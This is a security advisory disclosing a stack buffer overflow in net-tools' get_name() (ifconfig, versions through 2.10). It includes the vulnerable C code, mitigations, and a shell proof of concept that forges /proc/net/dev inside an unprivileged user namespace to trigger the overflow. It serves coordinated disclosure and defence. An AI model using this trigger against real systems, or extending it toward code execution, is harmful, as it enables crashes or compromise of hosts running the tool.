Stack-based Buffer Overflow in get_name() (net-tools ≤ 2.10)

Summary

The Linux network utilities (like ifconfig) from the net-tools package do not properly validate the structure of /proc files when showing interfaces. get_name() in interface.c copies interface labels from /proc/net/dev into a fixed 16-byte stack buffer without bounds checking, leading to possible arbitrary code execution or crash.

The known attack path does not require privilege but also does not provide privilege escalation in this scenario.

• Affected versions – All releases through 2.10
• Fixed version – planned for net-tools 2.20

Technical details

The structure of the kernel /proc file is trusted during parsing during display of network interfaces. name is declared by the caller as char name[IFNAMSIZ] (16 bytes). An alias longer than 15 bytes causes a classic stack-based overflow.

/* interface.c */
static const char *get_name(char *name, const char *p)
{
    while (isspace(*p))
        p++;
    while (*p) {
        if (*p == ':') {
            const char *dot = p++;
            while (*p && isdigit(*p))           /* copies every digit */
                p++;
            if (*p == ':') {
                p = dot;
                *name++ = *p++;                 /* no length check */
                while (*p && isdigit(*p))
                    *name++ = *p++;             /* overflows name[16] */
            }
            break;
        }
        *name++ = *p++;                         /* also unchecked */
    }
    *name++ = '\0';
    return p;
}

Proof of concept

# Create /tmp/dev_poc with a 1 KiB iface alias
alias="veth0:$(head -c 1024 </dev/zero | tr '\0' 9):"
{
  printf 'Inter-|   Receive                        |  Transmit\n'
  printf ' face |bytes    packets errs drop fifo frame compressed multicast\n'
  printf '%s 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n' "$alias"
} > /tmp/dev_poc

# Trigger inside unprivileged namespaces (no sudo required)
unshare -Urim sh -c ' 
  umount /proc                    # works because we’re UID 0 *inside* the ns 
  mount -t tmpfs tmpfs /proc
  mkdir -p /proc/net
  cp /tmp/dev_poc /proc/net/dev # regular tmpfs file
  /home/kali/net-tools/ifconfig -a # change to the binary 
'

Mitigations

1. Apply the patch or update to a fixed release 2.20 or de-install the obsolete package.
2. Optional: disable unprivileged user-namespaces (sysctl kernel.unprivileged_userns_clone=0) to remove the easiest non-privileged trigger path.

Credits

Discovered, reported and coordinated by Mohamed Maatallah (@Zephkek), May 2025.